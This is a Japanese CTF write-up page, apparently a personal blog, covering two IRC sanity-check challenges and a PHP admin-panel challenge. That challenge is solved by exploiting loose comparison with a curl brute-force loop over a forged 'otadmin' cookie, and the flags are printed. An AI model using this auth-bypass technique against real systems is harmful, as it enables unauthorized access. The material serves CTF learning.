warmup

Midnight Sun CTF 2019 Quals writeup Sanity check

Sanity checkwarmupmisc

Points: 69

Solves: 381

Flag is in the topic of #midnightsun @ irc.freenode.net
settings Service: https://kiwiirc.com/client/irc.freenode.net:+6667/#midnightsun
Author: likvidera is available for questions in forum#midnightsun @ freenode 
Status: Online
IRCのチャンネルに接続します。
15:41 チャンネルに入りました
15:41 *xxxxxx join #midnightsun (~xxxxxx@yyy.zzz)
15:41 *topic : MidnightSunCTF 2019 - Friday, April 5 16:00UTC to Saturday, April 6 16:00 - https://ctf.midnightsunctf.se/ - 潤 midnight{midnightsunctf_2019} 潤
フラグは、
midnight{midnightsunctf_2019}

Teaser CONFidence CTF 2019 writeup My admin panel

web warmup

My admin panel

Points: 77
Solves: 74

I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?

URLにアクセスすると下図のページが表示されます。

1

login.php.bakファイルをダウンロードすると次のようになっています。cookieにotadmin変数をセットする必要があります。jsonの形式でhashにMD5の値を設定します。
<?php

include '../func.php';
include '../config.php';

if (!$_COOKIE['otadmin']) {
    exit("Not authenticated.\n");
}

if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) {
    echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n";
    exit();
}

$session_data = json_decode($_COOKIE['otadmin'], true);

if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); }

if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) {
    echo("I CAN EVEN GIVE YOU A HINT XD \n");

    for ($i = 0; i < strlen(MD5('xDdddddd')); i++) {
        echo(ord(MD5($cfg_pass)[$i]) & 0xC0);
    }

    exit("\n");
}

display_admin();
cookieに{"hash": "0123456789ABCDEF"}をセットしてアクセスしてみます。下図のようにヒントが表示されます。
2
0xC0とANDを取ると0~9のときは0が出力され、A~Fのときは64(0x40)が出力されます。また、PHPの!=の比較演算子の場合、数値と比較すると文字列が数値に変換されて比較されます。ヒントの頭3桁が000であるので0~999の数値をcookieにセットすることで一致させることができそうです。
以上を実行するシェルスクリプトを書きます
for i in `seq 0 999`
do
    echo $i
    out=`curl gameserver.zajebistyc.tf/admin/login.php -b "otadmin={\"hash\": $i"}`
    echo $out
    if [ "`echo $out | grep p4{`" ]; then break; fi
done
実行すると389のときにフラグが表示されます。
0
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    78    0    78    0     0    120      0 --:--:-- --:--:-- --:--:--   120
I CAN EVEN GIVE YOU A HINT XD 0006464640640064000646464640006400640640646400
(略)
389
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    58    0    58    0     0    160      0 --:--:-- --:--:-- --:--:--   160
Congratulations! p4{wtf_php_comparisons_how_do_they_work}
フラグは、
p4{wtf_php_comparisons_how_do_they_work}
です。



Teaser CONFidence CTF 2019 writeup Sanity check

warmup

Sanity check

Points: 1
Solves: 132

You can find the flag in the topic of our IRC channel linked below.

IRCチャンネル#p4termに接続します。
20:14 チャンネルに入りました
20:14 *xxxxxx join #p4team (~xxxxxx@yyy.zzz)
20:14 *topic : Teaser lasts from March 16th 11:00UTC to March 17th 11:00UTC | https://confidence2019.p4.team | p4{thanks_for_playing_:)}
フラグは、
p4{thanks_for_playing_:)}
記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー